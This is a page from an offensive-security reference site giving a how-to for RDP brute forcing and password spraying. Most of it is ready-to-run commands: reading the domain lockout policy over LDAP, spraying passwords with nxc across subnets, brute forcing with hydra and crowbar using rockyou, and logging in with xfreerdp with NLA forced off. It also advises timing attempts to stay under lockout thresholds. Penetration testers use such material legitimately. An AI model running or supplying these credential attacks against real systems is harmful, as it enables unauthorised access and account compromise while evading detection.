# RDP Brute Force and Password Spraying

> Exploit RDP with brute force and password spraying techniques, targeting exposed 3389/TCP services to gain unauthorised access via credential attacks.

- **URL:** https://hackindex.io/services/rdp/exploitation/brute-force-password-spray
- **Path:** RDP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/rdp/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-07-10

RDP exposes Windows authentication directly on port 3389. With valid credentials you get a full graphical session. Brute force and password spray over RDP work the same way as against other Windows auth services: the main constraint is account lockout policy. Check the threshold before running anything and stay below it.

Network Level Authentication (NLA) is enabled by default on modern Windows and pre-authenticates before the desktop loads. It does not block brute force: it just means the credential check happens at the network layer rather than after a full session is established. Most tools handle NLA transparently.

Pre-spray checklist:

- Pull domain lockout policy via LDAP before running any spray
- Stay below the lockout threshold with delays between attempts
- Use `--no-bruteforce` for matched credential pairs from dumps

## Checking Lockout Policy Before Spraying

If you have any domain credentials, pull the policy via LDAP before running anything:

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=domainDNS)" lockoutThreshold lockoutDuration
```

Stay at least two attempts below the threshold per account per observation window. A threshold of `0` means no lockout: brute force freely.

## Password Spraying with nxc

nxc is the most reliable tool for RDP credential spraying. It handles NLA and returns clear success/failure output:

```bash
nxc rdp $TARGET_IP -u users.txt -p $PASSWORD -d $DOMAIN --continue-on-success
```

Spray a single password across all users. Run one password per lockout window:

```bash
nxc rdp $TARGET_IP/24 -u users.txt -p 'Winter2024!' -d $DOMAIN --continue-on-success
# RDP  10.10.10.10  3389  DC01  [+] CORP\jsmith:Winter2024! (Pwn3d!)
#
```

`(Pwn3d!)` means the account has local admin or RDP access. Without it, the credential is valid but the account may not have RDP rights.

## Brute Force with Hydra

For per-account brute force against a single target:

```bash
hydra -l $USER -P /usr/share/wordlists/rockyou.txt rdp://$TARGET_IP
```

With a user list:

```bash
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 4 rdp://$TARGET_IP
```

`-t 4` limits threads: RDP connections are stateful and high concurrency causes timeouts and false negatives. Keep threads low.

For a non-standard port:

```bash
hydra -l $USER -P /usr/share/wordlists/rockyou.txt rdp://$TARGET_IP:$PORT
```

## Brute Force with crowbar

crowbar is purpose-built for RDP and handles NLA more reliably than Hydra on some targets:

```bash
crowbar -b rdp -s $TARGET_IP/32 -u $USER -C /usr/share/wordlists/rockyou.txt
```

With a user list:

```bash
crowbar -b rdp -s $TARGET_IP/32 -U users.txt -C /usr/share/wordlists/rockyou.txt
# 2024-01-10 10:14:22 RDP-SUCCESS: 10.10.10.10:3389 - jsmith:Winter2024!
#
```

## Verifying Credentials with xfreerdp

Once you have a credential pair, verify it connects before using it elsewhere:

```bash
xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /cert-ignore
```

`/cert-ignore` bypasses certificate warnings on self-signed certs common in labs. A successful connection opens a full desktop session.

For domain accounts:

```bash
xfreerdp /u:$USER /p:$PASSWORD /d:$DOMAIN /v:$TARGET_IP /cert-ignore
```

## Handling NLA Failures

If you get `credssp` or NLA errors, try disabling security negotiation:

```bash
xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /sec:rdp /cert-ignore
```

`/sec:rdp` forces classic RDP security without NLA. Some older targets and misconfigurations require this.

## References

- [crowbar](https://github.com/galkan/crowbar) - galkan RDP-specific brute force tool with NLA support and built-in rate controls.
- [https://github.com/vanhauser-thc/thc-hydra](https://github.com/vanhauser-thc/thc-hydra) - THC Hydra rdp module documentation and thread tuning guidance.